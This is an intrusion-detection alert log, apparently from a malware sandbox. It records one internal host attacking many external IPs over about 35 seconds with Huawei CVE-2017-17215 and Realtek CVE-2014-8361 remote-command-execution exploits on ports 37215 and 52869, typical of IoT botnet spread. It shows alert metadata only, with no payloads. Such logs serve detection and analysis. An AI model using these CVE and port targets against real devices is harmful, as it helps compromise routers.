07/20/24-23:01:31.279890	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50190	52869	192.168.2.14	210.127.30.24
07/20/24-23:01:07.674717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37132	37215	192.168.2.14	134.114.43.200
07/20/24-23:01:34.034865	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52832	52869	192.168.2.14	19.75.81.79
07/20/24-23:01:19.222257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59692	37215	192.168.2.14	157.54.115.117
07/20/24-23:01:05.898116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45848	37215	192.168.2.14	211.171.110.94
07/20/24-23:01:14.397957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59580	37215	192.168.2.14	157.162.218.57
07/20/24-23:01:13.332043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51952	52869	192.168.2.14	222.15.221.37
07/20/24-23:01:13.329204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51164	52869	192.168.2.14	82.86.85.182
07/20/24-23:01:28.143148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47962	37215	192.168.2.14	197.31.246.202
07/20/24-23:01:29.169782	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60376	52869	192.168.2.14	164.82.176.136
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41974	37215	192.168.2.14	41.151.24.238
07/20/24-23:01:14.472855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60756	37215	192.168.2.14	41.167.46.159
07/20/24-23:01:28.196415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49754	37215	192.168.2.14	197.17.130.242
07/20/24-23:01:07.204640	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42512	52869	192.168.2.14	130.190.186.142
07/20/24-23:01:02.408595	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38436	37215	192.168.2.14	157.52.23.60
07/20/24-23:01:34.913413	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48560	52869	192.168.2.14	114.78.57.39
07/20/24-23:01:34.900554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49312	52869	192.168.2.14	146.102.177.163
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50006	37215	192.168.2.14	95.92.231.183
07/20/24-23:01:06.232901	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56876	52869	192.168.2.14	115.118.201.201
07/20/24-23:01:02.407178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35292	37215	192.168.2.14	197.196.172.22
07/20/24-23:01:25.230443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46506	37215	192.168.2.14	197.169.209.192
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60594	37215	192.168.2.14	41.181.191.35
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39036	37215	192.168.2.14	41.94.225.129
07/20/24-23:01:33.395838	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58564	52869	192.168.2.14	59.201.11.124
07/20/24-23:01:34.920034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44438	52869	192.168.2.14	198.253.51.117
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59370	37215	192.168.2.14	73.226.113.9
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46382	37215	192.168.2.14	49.119.133.182
07/20/24-23:01:11.478031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38848	37215	192.168.2.14	157.57.98.16
07/20/24-23:01:22.776061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40228	37215	192.168.2.14	41.207.26.87
07/20/24-23:01:13.329247	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37792	52869	192.168.2.14	198.112.106.164
07/20/24-23:01:34.923386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51740	52869	192.168.2.14	210.127.30.24
07/20/24-23:01:05.920730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47026	37215	192.168.2.14	41.206.151.131
07/20/24-23:01:19.221345	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37768	37215	192.168.2.14	103.11.232.170
07/20/24-23:01:34.899868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43370	52869	192.168.2.14	210.189.81.4
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53166	37215	192.168.2.14	157.123.112.202
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60620	37215	192.168.2.14	157.7.129.75
07/20/24-23:01:19.220637	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50898	37215	192.168.2.14	41.213.178.40
07/20/24-23:01:22.772933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34052	37215	192.168.2.14	197.192.218.48
07/20/24-23:01:28.143148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39034	37215	192.168.2.14	115.41.130.186
07/20/24-23:01:31.120003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34428	52869	192.168.2.14	69.185.156.127
07/20/24-23:01:29.739552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58424	52869	192.168.2.14	86.27.131.229
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60258	37215	192.168.2.14	41.7.26.252
07/20/24-23:01:13.333101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37970	52869	192.168.2.14	60.68.1.166
07/20/24-23:01:29.204277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54636	52869	192.168.2.14	1.52.127.148
07/20/24-23:01:06.276912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50982	52869	192.168.2.14	108.207.129.253
07/20/24-23:01:29.176022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46372	52869	192.168.2.14	211.77.142.174
07/20/24-23:01:33.081950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47284	37215	192.168.2.14	197.57.170.74
07/20/24-23:01:29.171040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54356	52869	192.168.2.14	217.168.109.210
07/20/24-23:01:19.233961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49154	37215	192.168.2.14	151.164.163.60
07/20/24-23:01:37.120506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55836	37215	192.168.2.14	157.250.52.44
07/20/24-23:01:06.868931	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35782	52869	192.168.2.14	40.156.155.77
07/20/24-23:01:13.332448	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42074	52869	192.168.2.14	2.115.51.25
07/20/24-23:01:07.456843	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36622	52869	192.168.2.14	66.134.165.127
07/20/24-23:01:14.400300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60388	37215	192.168.2.14	41.146.179.63
07/20/24-23:01:25.192001	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54532	52869	192.168.2.14	174.134.90.178
07/20/24-23:01:22.787765	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55252	37215	192.168.2.14	157.248.66.233
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60878	37215	192.168.2.14	197.26.114.57
07/20/24-23:01:29.721643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49942	52869	192.168.2.14	100.211.0.135
07/20/24-23:01:29.514831	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58376	52869	192.168.2.14	125.9.219.100
07/20/24-23:01:19.334799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36974	37215	192.168.2.14	197.113.223.82
07/20/24-23:01:11.448569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32960	37215	192.168.2.14	218.209.252.220
07/20/24-23:01:05.764414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60450	52869	192.168.2.14	220.158.230.42
07/20/24-23:01:30.624909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46938	52869	192.168.2.14	77.70.6.175
07/20/24-23:01:33.040755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40772	37215	192.168.2.14	178.99.199.57
07/20/24-23:01:07.682291	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55420	37215	192.168.2.14	221.20.1.26
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47534	37215	192.168.2.14	197.193.210.73
07/20/24-23:01:22.796666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55228	37215	192.168.2.14	12.251.148.75
07/20/24-23:01:32.971164	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47288	52869	192.168.2.14	59.88.136.75
07/20/24-23:01:23.042223	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38476	52869	192.168.2.14	59.161.187.149
07/20/24-23:01:34.945021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45642	52869	192.168.2.14	94.172.116.232
07/20/24-23:01:05.450414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60168	52869	192.168.2.14	31.235.249.101
07/20/24-23:01:34.566000	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33046	52869	192.168.2.14	99.174.108.83
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44702	37215	192.168.2.14	197.184.106.243
07/20/24-23:01:13.332043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47612	52869	192.168.2.14	172.76.44.174
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57058	37215	192.168.2.14	41.112.21.71
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53922	37215	192.168.2.14	197.245.85.153
07/20/24-23:01:28.214699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50600	37215	192.168.2.14	41.63.192.72
07/20/24-23:01:34.899753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41492	52869	192.168.2.14	84.149.17.30
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45094	37215	192.168.2.14	41.245.110.189
07/20/24-23:01:30.742438	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34028	52869	192.168.2.14	223.125.41.63
07/20/24-23:01:28.170987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58226	37215	192.168.2.14	41.28.215.84
07/20/24-23:01:34.915141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35286	52869	192.168.2.14	76.246.195.163
07/20/24-23:01:24.075435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58444	52869	192.168.2.14	191.59.144.253
07/20/24-23:01:25.281209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56544	37215	192.168.2.14	197.117.25.210
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33178	37215	192.168.2.14	144.118.94.52
07/20/24-23:01:28.142676	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41852	37215	192.168.2.14	41.222.29.177
07/20/24-23:01:13.332449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37262	52869	192.168.2.14	111.86.157.53
07/20/24-23:01:25.291116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45412	37215	192.168.2.14	197.212.84.221
07/20/24-23:01:19.335313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60132	37215	192.168.2.14	196.14.51.31
07/20/24-23:01:19.224550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45096	37215	192.168.2.14	197.170.165.51
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49794	37215	192.168.2.14	157.37.64.90
07/20/24-23:01:33.081951	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58390	37215	192.168.2.14	41.39.61.29
07/20/24-23:01:34.995513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38130	52869	192.168.2.14	157.141.84.47
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54570	37215	192.168.2.14	197.101.205.245
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50124	37215	192.168.2.14	41.221.33.91
07/20/24-23:01:33.081950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35500	37215	192.168.2.14	41.212.254.246
07/20/24-23:01:33.916849	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59724	52869	192.168.2.14	45.152.27.139
07/20/24-23:01:13.330357	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48528	52869	192.168.2.14	134.76.14.241
07/20/24-23:01:33.856930	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36458	52869	192.168.2.14	120.128.124.111
07/20/24-23:01:13.329563	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33366	52869	192.168.2.14	91.209.91.142
07/20/24-23:01:29.170040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36208	52869	192.168.2.14	14.177.37.112
07/20/24-23:01:33.050087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35104	37215	192.168.2.14	157.85.49.34
07/20/24-23:01:24.825430	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59154	52869	192.168.2.14	118.204.104.96
07/20/24-23:01:34.922465	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33618	52869	192.168.2.14	104.41.121.72
07/20/24-23:01:05.906603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43612	37215	192.168.2.14	41.28.196.52
07/20/24-23:01:06.882553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47060	52869	192.168.2.14	98.212.47.174
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38016	37215	192.168.2.14	41.71.249.32
07/20/24-23:01:33.060990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54422	37215	192.168.2.14	197.104.19.192
07/20/24-23:01:34.918354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46300	52869	192.168.2.14	199.206.179.25
07/20/24-23:01:28.143994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42482	37215	192.168.2.14	197.134.152.208
07/20/24-23:01:37.214680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53426	37215	192.168.2.14	80.101.241.103
07/20/24-23:01:37.124220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52088	37215	192.168.2.14	197.119.1.224
07/20/24-23:01:33.056745	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32878	37215	192.168.2.14	220.237.15.252
07/20/24-23:01:25.278709	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54742	37215	192.168.2.14	41.196.34.7
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42132	37215	192.168.2.14	171.186.170.148
07/20/24-23:01:05.848041	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51920	52869	192.168.2.14	146.126.33.191
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51316	37215	192.168.2.14	197.228.120.64
07/20/24-23:01:06.201519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46384	52869	192.168.2.14	172.76.44.174
07/20/24-23:01:11.486486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37216	37215	192.168.2.14	41.138.67.78
07/20/24-23:01:37.120918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42802	37215	192.168.2.14	38.78.113.172
07/20/24-23:01:11.448569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57992	37215	192.168.2.14	211.61.230.77
07/20/24-23:01:05.893596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43336	37215	192.168.2.14	157.39.247.83
07/20/24-23:01:19.224455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59132	37215	192.168.2.14	157.80.131.183
07/20/24-23:01:25.280228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41702	37215	192.168.2.14	41.48.132.173
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55204	37215	192.168.2.14	197.6.153.64
07/20/24-23:01:13.331144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55172	52869	192.168.2.14	54.198.216.131
07/20/24-23:01:28.205022	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43900	37215	192.168.2.14	8.225.51.230
07/20/24-23:01:28.222987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33168	37215	192.168.2.14	197.135.10.205
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39228	37215	192.168.2.14	46.24.98.190
07/20/24-23:01:37.120690	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55000	37215	192.168.2.14	157.113.58.156
07/20/24-23:01:33.110605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44424	37215	192.168.2.14	157.13.78.198
07/20/24-23:01:05.901568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52186	37215	192.168.2.14	157.205.166.142
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41884	37215	192.168.2.14	197.249.170.193
07/20/24-23:01:34.983816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35340	52869	192.168.2.14	46.8.125.37
07/20/24-23:01:34.918353	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58312	52869	192.168.2.14	64.178.194.185
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49352	37215	192.168.2.14	41.101.223.29
07/20/24-23:01:33.030189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53536	37215	192.168.2.14	212.82.97.159
07/20/24-23:01:13.333076	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47228	52869	192.168.2.14	40.224.141.14
07/20/24-23:01:25.301172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44536	37215	192.168.2.14	41.206.251.51
07/20/24-23:01:14.397228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45434	37215	192.168.2.14	157.246.2.186
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46418	37215	192.168.2.14	41.214.92.62
07/20/24-23:01:33.260590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57050	52869	192.168.2.14	76.61.195.47
07/20/24-23:01:34.965835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47694	52869	192.168.2.14	149.189.66.2
07/20/24-23:01:06.330646	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41132	52869	192.168.2.14	169.73.158.246
07/20/24-23:01:07.668438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35938	37215	192.168.2.14	157.135.101.16
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36864	37215	192.168.2.14	86.51.153.158
07/20/24-23:01:22.995297	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47324	52869	192.168.2.14	149.126.253.193
07/20/24-23:01:25.281101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59266	37215	192.168.2.14	157.129.48.47
07/20/24-23:01:29.170040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36208	52869	192.168.2.14	14.177.37.112
07/20/24-23:01:06.544420	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46610	52869	192.168.2.14	72.222.174.251
07/20/24-23:01:33.190553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58680	52869	192.168.2.14	131.234.185.229
07/20/24-23:01:34.915141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35286	52869	192.168.2.14	76.246.195.163
07/20/24-23:01:19.222378	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49772	37215	192.168.2.14	72.172.199.57
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44602	37215	192.168.2.14	197.12.162.172
07/20/24-23:01:02.415803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36306	37215	192.168.2.14	157.229.133.19
07/20/24-23:01:22.781976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34278	37215	192.168.2.14	157.196.141.22
07/20/24-23:01:34.958932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58872	52869	192.168.2.14	14.235.67.126
07/20/24-23:01:31.300663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43400	52869	192.168.2.14	222.183.144.227
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53146	37215	192.168.2.14	197.63.149.130
07/20/24-23:01:25.230630	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56262	37215	192.168.2.14	41.35.76.74
07/20/24-23:01:02.411076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45562	37215	192.168.2.14	41.30.131.179
07/20/24-23:01:29.169502	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55954	52869	192.168.2.14	216.167.162.18
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57468	37215	192.168.2.14	63.230.59.42
07/20/24-23:01:33.056745	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53834	37215	192.168.2.14	157.23.166.123
07/20/24-23:01:07.668267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49322	37215	192.168.2.14	97.234.89.166
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37940	37215	192.168.2.14	157.121.176.8
07/20/24-23:01:34.965835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52020	52869	192.168.2.14	101.76.187.95
07/20/24-23:01:32.830980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46354	52869	192.168.2.14	206.110.55.66
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36016	37215	192.168.2.14	41.17.81.186
07/20/24-23:01:19.221647	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56434	37215	192.168.2.14	157.223.201.35
07/20/24-23:01:34.927043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34734	52869	192.168.2.14	151.151.89.112
07/20/24-23:01:34.694504	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37156	52869	192.168.2.14	142.221.175.109
